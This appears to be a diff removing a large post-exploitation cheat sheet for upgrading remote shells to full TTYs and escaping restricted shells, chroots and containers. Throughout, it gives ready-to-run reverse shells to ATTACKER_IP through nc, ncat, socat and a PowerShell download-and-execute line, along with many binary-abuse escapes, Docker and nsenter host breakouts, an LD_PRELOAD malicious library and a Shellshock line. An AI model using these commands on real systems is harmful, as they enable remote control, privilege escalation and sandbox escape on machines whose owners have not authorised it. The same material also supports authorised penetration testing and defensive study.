-### Workflow 6: Perl one-liner (when Python and script are both missing)
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ perl -e 'use POSIX; setsid(); exec("/bin/bash")' │
-│ OR │
-│ perl -e 'exec "/bin/bash";' │
-│ │
-│ 2. BACKGROUND + STABILISE (same as Workflow 1) │
-│ Ctrl+Z │
-│ stty raw -echo; fg │
-│ reset && export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
----
-
-## TTY Upgrade - Python (pty module)
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Spawns interactive pseudo-terminal using Python's pty module for job control and interactive features.
-
-```bash
-python -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Python 2 version of pty.spawn for older systems.
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/sh")'
-```
-
-Spawns sh shell instead of bash for compatibility with minimal systems.
-
-```bash
-python3 -c '__import__("pty").spawn("/bin/bash")'
-```
-
-Single-expression variant that avoids semicolons (useful when semicolons are filtered).
-
-```bash
-python3 -c 'import os; os.execvp("/bin/bash", ["-bash"])'
-```
-
-Uses execvp to replace the Python process entirely with bash. The `-bash` arg makes it a login shell.
-
----
-
-## TTY Upgrade - script utility
-
-```bash
-script -qc /bin/bash /dev/null
-```
-
-Forces PTY allocation using script command in quiet mode, discarding output to /dev/null.
-
-```bash
-script /dev/null
-```
-
-Minimal version that forces PTY allocation without specifying command.
-
-```bash
-script -q /dev/null -c /bin/bash
-```
-
-Alternative argument ordering (some distros are fussy about flag position).
-
-```bash
-SHELL=/bin/bash script -q /dev/null
-```
-
-Sets SHELL variable before invoking script, ensuring bash is used.
-
----
-
-## TTY Upgrade - socat
-
-```bash
-socat file:`tty`,raw,echo=0 TCP-L:4444
-```
-
-Attacker-side listener that puts local terminal in raw mode and listens on port 4444.
-
-```bash
-socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
-```
-
-Victim-side connection that spawns bash with full PTY support, signal handling, and window resizing.
-
-```bash
-socat TCP:ATTACKER_IP:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
-```
-
-Alternative victim-side syntax for establishing high-quality reverse shell.
-
-```bash
-socat -d -d file:`tty`,raw,echo=0 TCP-L:4444
-```
-
-Verbose listener with debug output for troubleshooting connection issues.
-
----
-
-## TTY Upgrade - expect
-
-```bash
-expect -c 'spawn bash; interact'
-```
-
-Spawns bash in PTY using expect automation tool and gives control to user.
-
-```bash
-expect -c 'spawn sh; interact'
-```
-
-Spawns sh shell with PTY support for minimal environments.
-
----
-
-## TTY Upgrade - mkfifo (named pipes)
-
-```bash
-rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f
-```
-
-Creates bidirectional reverse shell using named pipe feedback loop with netcat.
-
-```bash
-rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | ncat ATTACKER_IP PORT > /tmp/f
-```
-
-Same technique using ncat instead of nc.
-
----
-
-## TTY Upgrade - Ruby (PTY module)
-
-```bash
-ruby -e 'require "pty"; PTY.spawn("/bin/bash") {|r,w,p| system("stty raw -echo"); r.each {|l| puts l}}'
-```
-
-Spawns bash in PTY using Ruby, sets terminal to raw mode, and iterates over output.
-
-```bash
-ruby -e 'exec "/bin/bash"'
-```
-
-Simple exec replacement using Ruby for quick shell spawning.
-
-```bash
-ruby -e 'require "pty"; PTY.spawn("/bin/bash", &:interact)'
-```
-
-Ruby PTY spawn using interact method for cleaner syntax.
-
----
-
-## TTY Upgrade - Perl (IO::Pty)
-
-```bash
-perl -e 'use IO::Pty; my $pty=IO::Pty->new; exec("/bin/bash")'
-```
-
-Creates new PTY object using Perl's IO::Pty module and executes bash.
-
-```bash
-perl -e 'exec "/bin/bash";'
-```
-
-Simple Perl exec replacement for spawning bash.
-
-```bash
-perl -MIO::Pty -e '$pty=IO::Pty->new; exec("/bin/bash")'
-```
-
-Shorter module loading syntax using -M flag.
-
----
-
-## TTY Upgrade - rlwrap
-
-```bash
-rlwrap nc -lvnp 4444
-```
-
-Wraps netcat listener with readline support for command history and arrow keys.
-
-```bash
-stty raw -echo; fg
-```
-
-After backgrounding with Ctrl+Z, puts terminal in raw mode and foregrounds shell.
-
-```bash
-reset
-```
-
-Reinitializes terminal after foregrounding for proper display.
-
-```bash
-export TERM=xterm-256color
-```
-
-Enables color support in stabilized shell.
-
----
-
-## TTY Stabilisation (stty method)
-
-This is the full end-to-end procedure. Every step matters.
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Step 1: Spawn PTY using any available method.
-
-```bash
-# Ctrl+Z to background
-```
-
-Step 2: Background the remote shell.
-
-```bash
-stty raw -echo; fg
-```
-
-Step 3: After Ctrl+Z, puts local terminal in raw mode (passes all keystrokes raw to the remote side, including Ctrl+C) and foregrounds remote shell.
-
-```bash
-reset
-```
-
-Step 4: Reinitializes terminal for proper display and functionality. You may see `Terminal type?` prompt - just type `xterm-256color` and press Enter.
-
-```bash
-export TERM=xterm-256color
-```
-
-Step 5: Enables 256-color support in the stabilized shell.
-
-```bash
-export SHELL=bash
-```
-
-Step 6: Sets SHELL environment variable for proper shell behavior.
-
-```bash
-stty rows <ROWS> cols <COLS>
-```
-
-Step 7: Fixes terminal geometry to prevent text wrapping issues (get values with `stty size` locally first). **See the Terminal Geometry section above for how to get the correct values.**
-
----
-
-## TTY Upgrade - SSH escape sequences
-
-If you have SSH access but land in a restricted shell, you can sometimes abuse the SSH escape character to get a local shell on the attacker side, then reconnect properly.
-
-```bash
-# Press Enter, then:
-~C
-# Opens ssh command line
--L 4444:127.0.0.1:4444
-# Sets up local port forward
-```
-
-Creates a local port forward from within an existing SSH session using the escape sequence.
-
-```bash
-# Press Enter, then:
-~.
-```
-
-Terminates the current SSH session cleanly when the shell is hung or unresponsive.
-
----
-
-## TTY Upgrade - Meterpreter to shell
-
-If you have a Meterpreter session and need to drop to an interactive shell:
-
-```bash
-# In msfconsole with active session
-sessions -u <SESSION_ID>
-```
-
-Attempts to upgrade a basic shell session to Meterpreter.
-
-```bash
-# In Meterpreter
-shell
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Drops to system shell from Meterpreter, then upgrades with Python.
-
-```bash
-# Or use the built-in module
-use post/multi/manage/shell_to_meterpreter
-set SESSION <SESSION_ID>
-run
-```
-
-Metasploit module to upgrade shell to Meterpreter automatically.
-
----
-
-## TTY Upgrade - PowerShell (ConPTY)
-
-For Windows targets where you have PowerShell execution:
-
-```powershell
-# Invoke-ConPtyShell (Antonioli's tool)
-IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell ATTACKER_IP 4444
-```
-
-Downloads and executes ConPTY-based reverse shell for a fully interactive Windows shell.
-
-```bash
-# Attacker-side listener (must use stty raw)
-stty raw -echo; (stty size; cat) | nc -lvnp 4444
-```
-
-Special listener that sends terminal dimensions and then cats input, required for ConPtyShell.
-
----
-
-## Troubleshooting TTY Upgrades
-
-### "reset: unknown terminal type"
-
-```bash
-# This happens when TERM isn't set
-export TERM=xterm
-reset
-# Then set the proper value:
-export TERM=xterm-256color
-```
-
-### Shell dies after `stty raw -echo; fg`
-
-```bash
-# Your terminal is now in raw mode with no echo.
-# Type 'reset' blindly and press Enter, even if you see nothing.
-reset
-# If that fails, open a new terminal and kill the old one.
-```
-
-### Arrow keys still produce escape codes after stabilisation
-
-```bash
-# TERM might be wrong
-export TERM=xterm-256color
-
-# Or the PTY spawn didn't work properly - try a different method:
-script -qc /bin/bash /dev/null
-# Then redo the full stty workflow
-```
-
-### Tab completion doesn't work
-
-```bash
-# Make sure SHELL is set
-export SHELL=/bin/bash
-
-# Source bashrc if it exists
-source /etc/bash.bashrc 2>/dev/null
-source ~/.bashrc 2>/dev/null
-```
-
-### Ctrl+C kills the remote shell instead of the remote process
-
-```bash
-# You didn't do 'stty raw -echo' properly.
-# The stty raw part is what makes Ctrl+C pass through to the remote side.
-# Redo from the Ctrl+Z step.
-```
-
-### Everything is on one line / no newlines
-
-```bash
-# Rows or cols are wrong
-stty rows 50 cols 200
-# Or if that doesn't fix it:
-stty sane
-stty rows 50 cols 200
-```
-
----
-
-## Restricted Shell Escape Workflows
-
-### Workflow A: Recon-first approach (recommended)
-
-Before trying any escape, enumerate what you have:
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. IDENTIFY THE SHELL │
-│ echo $SHELL │
-│ echo $0 │
-│ cat /etc/passwd | grep $(whoami) │
-│ │
-│ 2. ENUMERATE AVAILABLE COMMANDS │
-│ compgen -c (bash/rbash) │
-│ echo /usr/bin/* (wildcard listing) │
-│ which python3 perl ruby lua node php (interpreters) │
-│ type -a vim vi less more man git (builtins) │
-│ │
-│ 3. CHECK ENVIRONMENT │
-│ echo $PATH │
-│ env │
-│ set │
-│ alias │
-│ │
-│ 4. TEST RESTRICTIONS │
-│ cd /tmp (can you change directory?) │
-│ > /tmp/test (can you redirect output?) │
-│ /bin/bash (can you call binaries directly?) │
-│ export PATH=/bin (can you modify PATH?) │
-│ │
-│ 5. CHOOSE ESCAPE BASED ON FINDINGS │
-│ Interpreter available? → Use it (Python/Perl/Ruby) │
-│ Editor available? → vi/vim :!/bin/bash │
-│ Pager available? → less/man then !/bin/bash │
-│ SSH access? → ssh user@localhost -t /bin/bash │
-│ GTFOBins? → Check any unusual binary │
-└─────────────────────────────────────────────────────────┘
-```
-
-### Workflow B: Quick escalation path (when you know the shell type)
-
-```
-┌── Is it rbash? ──────────────────────────────────────┐
-│ YES → Try: vi → :set shell=/bin/bash → :shell │
-│ Try: python3 -c 'import os;os.system("bash")' │
-│ Try: ssh user@localhost -t /bin/bash │
-│ Try: cp /bin/bash . && ./bash │
-│ Try: export BASH_CMDS[sh]=/bin/bash && sh │
-├── Is it lshell? ─────────────────────────────────────┤
-│ YES → Try: echo os.system('/bin/bash') │
-│ Try: help → !/bin/bash (via pager) │
-├── Is it rksh / restricted ksh? ──────────────────────┤
-│ YES → Try: typeset -r restricted (unset flag) │
-│ Try: PATH=/bin:/usr/bin;export PATH;/bin/bash │
-│ Try: vi → :!/bin/bash │
-├── Is it chroot? ─────────────────────────────────────┤
-│ YES → Check for /bin/bash inside chroot │
-│ Mount real root if possible │
-│ Nested chroot escape with Python (needs root) │
-└──────────────────────────────────────────────────────┘
-```
-
----
-
-## Restricted Shell Escape - SSH pre-login
-
-```bash
-ssh user@host -t "/bin/bash"
-```
-
-Bypasses restricted shell by specifying bash directly with PTY allocation before login shell loads.
-
-```bash
-ssh user@host -t "/bin/sh"
-```
-
-Spawns sh shell directly via SSH before restricted shell initialization.
-
-```bash
-ssh user@host -t "bash --noprofile"
-```
-
-Skips profile files (/etc/profile, ~/.bash_profile) to bypass restrictions.
-
-```bash
-ssh user@host -t "bash --norc"
-```
-
-Skips ~/.bashrc to avoid restricted shell configuration.
-
-```bash
-ssh user@host -t "bash --noprofile --norc"
-```
-
-Skips both profile and rc files for maximum bypass coverage.
-
-```bash
-ssh user@host -t '() { :; }; /bin/bash'
-```
-
-Exploits Shellshock vulnerability (CVE-2014-6271) to execute bash via malformed environment variable.
-
----
-
-## Restricted Shell Escape - SSH configuration
-
-```bash
-ssh -o RequestTTY=yes user@host
-```
-
-Forces PTY allocation equivalent to -t flag for interactive shell.
-
-```bash
-ssh -o PermitLocalCommand=yes -o LocalCommand="/bin/bash" user@host
-```
-
-Executes command on local machine after SSH connection establishes.
-
-```bash
-ssh -o RemoteCommand="/bin/bash" user@host
-```
-
-Executes command on remote side after authentication bypassing restricted shell.
-
-```bash
-ssh -o ProxyCommand='; /bin/bash' user@host
-```
-
-Abuses ProxyCommand by injecting shell metacharacters to spawn shell.
-
----
-
-## Restricted Shell Escape - vi/vim editors
-
-```bash
-:!bash
-```
-
-From within vi/vim, executes bash shell command.
-
-```bash
-:!/bin/bash
-```
-
-Spawns bash with full path from vi/vim command mode.
-
-```bash
-:!/bin/sh
-```
-
-Spawns sh shell from vi/vim for compatibility.
-
-```bash
-:set shell=/bin/bash
-```
-
-Changes vi/vim shell interpreter to bash.
-
-```bash
-:shell
-```
-
-Spawns subshell using vi/vim's configured shell.
-
-```bash
-:python import os; os.system('/bin/bash')
-```
-
-Executes Python code from vim to spawn bash (requires +python feature).
-
-```bash
-:py import os; os.system('/bin/bash')
-```
-
-Shorter Python syntax for spawning bash from vim.
-
-```bash
-:lua os.execute('/bin/bash')
-```
-
-Executes Lua code from vim to spawn bash (requires +lua feature).
-
-```bash
-:!python3 -c 'import pty;pty.spawn("/bin/bash")'
-```
-
-Spawns a full PTY bash shell directly from vim command mode.
-
----
-
-## Restricted Shell Escape - ed/emacs/nano editors
-
-```bash
-ed
-!bash
-```
-
-From ed editor, executes bash shell command.
-
-```bash
-emacs -Q -nw --eval '(term "/bin/sh")'
-```
-
-Spawns terminal emulator running sh from emacs using Lisp eval.
-
-```bash
-emacs -Q -nw --eval '(shell)'
-```
-
-Opens a shell buffer in emacs using the default shell.
-
-```bash
-nano
-^R ^X
-reset; bash 1>&0 2>&0
-```
-
-From nano, reads command output to achieve RCE in specific scenarios.
-
----
-
-## Restricted Shell Escape - pagers (less/more/man)
-
-```bash
-less /etc/profile
-!/bin/bash
-```
-
-From less pager, executes bash shell command while viewing file.
-
-```bash
-more /etc/profile
-!/bin/bash
-```
-
-From more pager, spawns bash shell during file viewing.
-
-```bash
-man ls
-!/bin/bash
-```
-
-From man page viewer, executes bash (man uses less/more as pager).
-
-```bash
-journalctl
-!/bin/sh
-```
-
-From journalctl output, spawns shell via less pager invoked by journalctl.
-
-```bash
-systemctl status sshd
-!/bin/sh
-```
-
-From systemctl status output, escapes via less pager.
-
-```bash
-git log
-!/bin/sh
-```
-
-From git log output, spawns shell through less pager.
-
-```bash
-apt-get changelog apt
-!/bin/sh
-```
-
-From apt-get changelog, escapes via less pager showing package changelog.
-
-```bash
-less /etc/profile
-v
-```
-
-From less, pressing `v` opens the current file in the default editor (may be vi), from which you can escape further.
-
----
-
-## Restricted Shell Escape - Python
-
-```bash
-python3 -c 'import os; os.system("/bin/bash")'
-```
-
-Executes bash using Python's os.system() method.
-
-```bash
-python -c 'import os; os.system("/bin/bash")'
-```
-
-Python 2 version of os.system() shell execution.
-
-```bash
-python3 -c 'import subprocess; subprocess.call(["/bin/bash"])'
-```
-
-Spawns bash using Python's subprocess module.
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Creates interactive PTY with bash using Python's pty module.
-
-```bash
-python3
->>> import os
->>> os.system('/bin/bash')
-```
-
-From Python REPL, spawns bash interactively.
-
-```bash
-python3 -c 'import os; os.execvp("/bin/bash", ["bash"])'
-```
-
-Replaces the Python process entirely with bash using execvp.
-
----
-
-## Restricted Shell Escape - Ruby/Perl/Lua/AWK
-
-```bash
-ruby -e 'exec "/bin/bash"'
-```
-
-Replaces Ruby process with bash shell.
-
-```bash
-irb
-> exec '/bin/bash'
-```
-
-From Ruby REPL, replaces process with bash.
-
-```bash
-perl -e 'exec "/bin/bash";'
-```
-
-Executes bash from Perl one-liner.
-
-```bash
-lua -e 'os.execute("/bin/bash")'
-```
-
-Spawns bash using Lua's os.execute() function.
-
-```bash
-awk 'BEGIN {system("/bin/bash")}'
-```
-
-Executes bash from AWK BEGIN block.
-
-```bash
-php -r 'system("/bin/bash");'
-```
-
-Runs bash using PHP's system() function.
-
-```bash
-node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"})'
-```
-
-Spawns bash from Node.js with inherited stdio for interactivity.
-
-```bash
-wish
-exec /bin/bash &
-```
-
-From Tcl/Tk wish interpreter, executes bash.
-
----
-
-## Restricted Shell Escape - find
-
-```bash
-find / -name "*.txt" -exec /bin/sh \; -quit
-```
-
-Uses find's -exec to spawn sh shell, quits after first match.
-
-```bash
-find . -exec /bin/bash \; -quit
-```
-
-Spawns bash using find in current directory.
-
-```bash
-find / -name somefile -exec /bin/bash -i \;
-```
-
-Executes interactive bash for each file found by find.
-
----
-
-## Restricted Shell Escape - tar
-
-```bash
-tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
-```
-
-Abuses tar checkpoint feature to execute sh after processing each file.
-
-```bash
-tar xf /dev/null -I '/bin/sh'
-```
-
-Specifies sh as "compression program" via -I flag to spawn shell.
-
-```bash
-tar xf archive.tar -I '/bin/sh -c "exec sh 0<&1"'
-```
-
-Uses -I flag with redirected file descriptors to maintain interactive shell.
-
----
-
-## Restricted Shell Escape - zip/unzip
-
-```bash
-TF=$(mktemp -u)
-zip $TF /etc/hosts -T -TT 'sh #'
-rm $TF
-```
-
-Abuses zip's test feature (-T -TT) to inject and execute sh command.
-
----
-
-## Restricted Shell Escape - gcc/compilers
-
-```bash
-gcc -wrapper /bin/sh,-s .
-```
-
-Abuses gcc's -wrapper flag to execute sh as compiler wrapper.
-
-```bash
-gcc -wrapper /bin/bash,-s .
-```
-
-Uses bash as gcc wrapper to spawn shell.
-
-```bash
-g++ -wrapper /bin/sh,-s .
-```
-
-Uses g++ wrapper feature to execute sh shell.
-
----
-
-## Restricted Shell Escape - scp
-
-```bash
-TF=$(mktemp)
-echo '/bin/sh 0<&2 1>&2' > $TF
-chmod +x $TF
-scp -S $TF x y:
-```
-
-Abuses scp's -S flag to specify malicious script as ssh replacement.
-
-```bash
-scp -F /etc/passwd x y:
-```
-
-Uses -F flag to read arbitrary file (displays config file parsing).
-
----
-
-## Restricted Shell Escape - ftp/gdb/rpm
-
-```bash
-ftp
-ftp> !sh
-```
-
-From FTP client, executes sh shell command.
-
-```bash
-ftp
-ftp> !/bin/bash
-```
-
-Spawns bash from FTP client using ! escape.
-
-```bash
-gdb -nx -ex '!sh' -ex quit
-```
-
-Executes sh from GDB using -ex flag without loading .gdbinit.
-
-```bash
-gdb
-(gdb) !sh
-```
-
-From GDB prompt, spawns sh shell.
-
-```bash
-rpm --eval '%{lua:os.execute("/bin/sh")}'
-```
-
-Evaluates Lua code in RPM to execute sh shell.
-
----
-
-## Restricted Shell Escape - nmap
-
-```bash
-nmap --interactive
-nmap> !sh
-```
-
-Uses deprecated nmap interactive mode to spawn sh (only works on nmap <7.25).
-
-```bash
-nmap --interactive
-nmap> !bash
-```
-
-Spawns bash from nmap interactive mode on older versions.
-
-```bash
-echo 'os.execute("/bin/bash")' > /tmp/nse.nse && nmap --script=/tmp/nse.nse
-```
-
-Writes a custom NSE (Lua) script that spawns bash, then executes it. Works on modern nmap versions.
-
----
-
-## Restricted Shell Escape - rsync
-
-```bash
-rsync -e '/bin/sh -c "exec /bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null
-```
-
-Abuses rsync's -e flag to specify sh as remote shell with redirected file descriptors.
-
-```bash
-rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
-```
-
-Shorter syntax for rsync shell escape with maintained interactivity.
-
----
-
-## Restricted Shell Escape - tcpdump
-
-```bash
-COMMAND='/bin/sh'
-TF=$(mktemp)
-echo "$COMMAND" > $TF
-chmod +x $TF
-tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
-```
-
-Abuses tcpdump's -z postrotate command feature to execute script after capture rotation.
-
----
-
-## Restricted Shell Escape - package managers
-
-```bash
-apt-get changelog apt
-!/bin/sh
-```
-
-From apt-get changelog pager, spawns sh shell.
-
-```bash
-TF=$(mktemp)
-echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
-sudo apt-get install -c $TF sl
-```
-
-Abuses APT Dpkg Pre-Invoke hook to execute sh during package installation.
-
-```bash
-sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
-```
-
-Uses APT Update Pre-Invoke option to spawn sh shell.
-
-```bash
-cpan
-! exec '/bin/bash'
-```
-
-From CPAN Perl package manager, executes bash using ! escape.
-
-```bash
-gem open -e "/bin/sh -c /bin/sh" rdoc
-```
-
-Abuses gem's editor flag to specify sh as "editor" for opening gems.
-
-```bash
-pip install --pre --no-clean --log /tmp/pip.log /tmp/ 2>&1; /bin/bash
-```
-
-Chained pip failure with bash execution (context-dependent).
-
----
-
-## Restricted Shell Escape - database clients
-
-```bash
-mysql -e '\! /bin/sh'
-```
-
-From MySQL command line, executes sh using ! escape.
-
-```bash
-mysql
-mysql> \! /bin/bash
-```
-
-Spawns bash from MySQL interactive prompt.
-
-```bash
-psql
-psql=> \! /bin/bash
-```
-
-Executes bash from PostgreSQL client using ! escape.
-
-```bash
-sqlite3
-sqlite> .shell /bin/bash
-```
-
-Spawns bash from SQLite3 using .shell command.
-
-```bash
-redis-cli
-127.0.0.1:6379> EVAL 'return os.execute("/bin/bash")' 0
-```
-
-Evaluates Lua code in Redis to execute bash.
-
-```bash
-mongo
-> db.eval('os.execute("/bin/bash")')
-```
-
-Executes JavaScript in MongoDB to spawn bash.
-
----
-
-## Restricted Shell Escape - systemd tools
-
-```bash
-systemd-run -t /bin/bash
-```
-
-Creates transient systemd service running bash with TTY allocation.
-
-```bash
-sudo systemd-run -t /bin/bash
-```
-
-Creates privileged transient service running bash.
-
-```bash
-nsenter -t 1 -m -u -i -n /bin/sh
-```
-
-Enters PID 1's namespaces (mount, UTS, IPC, network) to escape restrictions.
-
-```bash
-sudo nsenter -t 1 -m -u -i -n /bin/bash
-```
-
-Enters PID 1's namespaces with bash as privileged user.
-
-```bash
-unshare -r /bin/bash
-```
-
-Creates new user namespace with root mapping and spawns bash.
-
-```bash
-unshare /bin/bash
-```
-
-Creates new namespaces and spawns bash for sandbox escape.
-
----
-
-## Restricted Shell Escape - container tools
-
-```bash
-docker run -v /:/mnt --rm -it alpine chroot /mnt sh
-```
-
-Mounts host root filesystem in container and chroots to it for host escape.
-
-```bash
-docker run -v /:/hostfs --rm -it alpine /bin/sh
-```
-
-Mounts host filesystem to /hostfs in container for full host access.
-
-```bash
-kubectl run -it --rm --restart=Never alpine --image=alpine -- sh
-```
-
-Creates temporary Kubernetes pod with alpine image and spawns interactive sh.
-
-```bash
-kubectl run -it --rm --restart=Never busybox --image=busybox -- sh
-```
-
-Creates busybox pod in Kubernetes for interactive shell access.
-
-```bash
-docker exec -it <CONTAINER_ID> /bin/bash
-```
-
-Attaches to a running container for interactive shell access.
-
----
-
-## Restricted Shell Escape - scheduling tools
-
-```bash
-echo "/bin/sh" | at now
-```
-
-Schedules sh execution immediately using at command.
-
-```bash
-echo "/bin/sh" | at now + 1 minute
-```
-
-Schedules sh execution in 1 minute to bypass restrictions.
-
-```bash
-watch -x sh -c 'reset; exec sh 1>&0 2>&0'
-```
-
-Uses watch to repeatedly execute sh with redirected file descriptors.
-
-```bash
-echo "/bin/sh" | xargs -I {} sh -c {}
-```
-
-Pipes sh invocation through xargs for execution.
-
-```bash
-timeout --foreground 86400 /bin/bash
-```
-
-Uses timeout to execute bash with a long timeout, bypassing restrictions on direct execution.
-
----
-
-## Restricted Shell Escape - debugging tools
-
-```bash
-strace -e 'trace=!all' -o /dev/null /bin/sh
-```
-
-Uses strace to execute sh while disabling trace output for performance.
-
-```bash
-ltrace -b -e 'malloc' /bin/sh
-```
-
-Uses ltrace to execute sh while tracing minimal library calls.
-
-```bash
-valgrind /bin/bash
-```
-
-Uses Valgrind to execute bash (noisy output but functional shell).
-
----
-
-## Restricted Shell Escape - git-shell
-
-```bash
-git help config
-!/bin/sh
-```
-
-From git help pager, spawns sh shell.
-
-```bash
-git config core.pager '/bin/sh -c "/bin/sh 0<&1"'
-git log
-```
-
-Sets git pager to sh and triggers via git log.
-
-```bash
-export GIT_PAGER='/bin/sh'
-git log
-```
-
-Overrides git pager via environment variable to spawn sh.
-
-```bash
-PAGER='sh' git -p help
-```
-
-Sets PAGER inline for git help command to spawn sh.
-
----
-
-## Restricted Shell Escape - browser-based
-
-```bash
-lynx
-# Press 'o' for options, set editor to /bin/vi
-# Edit textbox, then from vi: :!/bin/bash
-```
-
-From lynx browser, sets editor to vi then escapes from vi to bash.
-
-```bash
-export EDITOR=/bin/vi
-elinks
-# Edit text field (e key), then from vi: :!/bin/bash
-```
-
-Sets EDITOR variable for elinks to use vi for escaping to bash.
-
-```bash
-export VISUAL=/bin/vi
-mail -s subject user@mail.com
-# Type message, then ~v to invoke editor
-# From vi: :!/bin/bash
-```
-
-Uses mail command with VISUAL variable to invoke vi then escape to bash.
-
----
-
-## Restricted Shell Escape - telnet
-
-```bash
-telnet
-telnet> !/bin/bash
-```
-
-From telnet client, executes bash using ! escape.
-
-```bash
-telnet
-^]
-telnet> !sh
-```
-
-Uses Ctrl+] to reach telnet prompt then spawns sh.
-
----
-
-## Restricted Shell Escape - top
-
-```bash
-echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >> ~/.config/procps/toprc
-top
-# Press 'x'
-```
-
-Modifies top config to bind sh execution to 'x' key.
-
-```bash
-echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >> ~/.toprc
-top
-# Press 'x'
-```
-
-Legacy top config modification for older systems to bind sh to key.
-
----
-
-## Restricted Shell Escape - ncat
-
-```bash
-ncat -lvnp 4444 --sh-exec /bin/bash
-```
-
-Creates ncat listener that executes bash via sh -c wrapper.
-
-```bash
-ncat -lvnp 4444 -e /bin/bash
-```
-
-Ncat listener that directly executes bash for connections.
-
-```bash
-ncat -lvnp 4444 -c /bin/bash
-```
-
-Ncat listener using -c flag to execute bash via shell.
-
-```bash
-ncat ATTACKER_IP 4444 -e /bin/bash
-```
-
-Connects to listener and executes bash for reverse shell.
-
----
-
-## Restricted Shell Escape - ld.so
-
-```bash
-/lib64/ld-linux-x86-64.so.2 /bin/bash
-```
-
-Directly invokes 64-bit dynamic linker to execute bash bypassing shell restrictions.
-
-```bash
-/lib/x86_64-linux-gnu/ld-2.27.so /bin/bash
-```
-
-Alternative 64-bit dynamic linker path for Debian/Ubuntu systems.
-
-```bash
-/lib/ld-linux.so.2 /bin/bash
-```
-
-32-bit dynamic linker invocation to spawn bash.
-
-```bash
-/lib/i386-linux-gnu/ld-2.27.so /bin/bash
-```
-
-Alternative 32-bit dynamic linker path for Debian/Ubuntu systems.
-
-```bash
-/lib64/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.system("/bin/bash")'
-```
-
-Chains dynamic linker with Python execution for double bypass.
-
----
-
-## Restricted Shell Escape - busybox
-
-```bash
-busybox sh
-```
-
-Invokes sh applet from busybox multi-call binary.
-
-```bash
-busybox bash
-```
-
-Attempts to invoke bash from busybox (if available).
-
-```bash
-/bin/busybox sh
-```
-
-Full path invocation of busybox sh applet.
-
-```bash
-busybox ash
-```
-
-Invokes ash (Almquist shell) from busybox, the default interactive shell on many embedded systems.
-
----
-
-## Restricted Shell Escape - screen/tmux
-
-```bash
-screen -ls
-```
-
-Lists existing screen sessions that may provide shell access.
-
-```bash
-screen -x [session]
-```
-
-Attaches to existing screen session (may have unrestricted shell).
-
-```bash
-screen -r [session]
-```
-
-Resumes detached screen session.
-
-```bash
-tmux ls
-```
-
-Lists tmux sessions for potential attachment.
-
-```bash
-tmux attach
-```
-
-Attaches to last tmux session.
-
-```bash
-tmux attach -t [name]
-```
-
-Attaches to specific named tmux session.
-
-```bash
-screen
-```
-
-Simply launching screen may give an unrestricted shell if screen itself isn't restricted.
-
----
-
-## Restricted Shell Escape - environment variables
-
-```bash
-export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-```
-
-Restores full PATH to enable command execution by name.
-
-```bash
-export PATH=/usr/bin:/bin
-```
-
-Minimal PATH restoration for basic command access.
-
-```bash
-export SHELL=/bin/bash
-$SHELL
-```
-
-Sets and executes SHELL variable to spawn bash.
-
-```bash
-export PROMPT_COMMAND="/bin/bash"
-```
-
-Sets PROMPT_COMMAND to execute bash before each prompt.
-
-```bash
-export BASH_CMDS[sh]=/bin/bash
-sh
-```
-
-Maps 'sh' command to bash in command hash table.
-
-```bash
-export LD_PRELOAD=/tmp/evil.so
-/bin/any_program
-```
-
-Preloads malicious shared library that spawns shell in constructor.
-
-```bash
-/bin/bash <&0 >&0 2>&0
-```
-
-Spawns bash with all file descriptors redirected to maintain interactivity.
-
-```bash
-export ENV=/tmp/shellscript
-sh
-```
-
-Sets ENV variable to a script that runs when sh starts (for non-login shells).
-
----
-
-## Restricted Shell Escape - chroot/mount
-
-```bash
-mkdir /tmp/subroot
-cd /tmp/subroot
-python -c 'import os; os.chroot("."); [os.chdir("..") for i in range(100)]; os.chroot("."); os.system("/bin/bash")'
-```
-
-Nested chroot technique to escape chroot jail using Python (requires root inside chroot).
-
-```bash
-mkdir /mnt/real_root
-mount /dev/sda1 /mnt/real_root
-chroot /mnt/real_root /bin/bash
-```
-
-Mounts real root device and chroots to it for jail escape (requires root and device knowledge).
-
----
-
-## Restricted Shell Escape - rbash-specific
-
-```bash
-cp /bin/bash .
-./bash
-```
-
-Copies bash to local directory and executes to bypass PATH restrictions.
-
-```bash
-python -c 'import os; os.system("/bin/bash")'
-```
-
-Uses Python to spawn bash bypassing rbash command restrictions.
-
-```bash
-compgen -c
-```
-
-Lists available commands in restricted bash environment.
-
-```bash
-echo /bin/*
-```
-
-Lists /bin contents without cd using echo and wildcards.
-
-```bash
-vim
-:set shell=/bin/bash
-:shell
-```
-
-From vim, changes shell and spawns it to bypass rbash.
-
-```bash
-bash -r
-# This is what rbash is. Restrictions include:
-# - Cannot cd
-# - Cannot change PATH, SHELL, ENV, BASH_ENV
-# - Cannot use / in commands
-# - Cannot redirect output (>, >>)
-# - Cannot use exec
-# Test all of these to find what's actually enforced.
-```
-
----
-
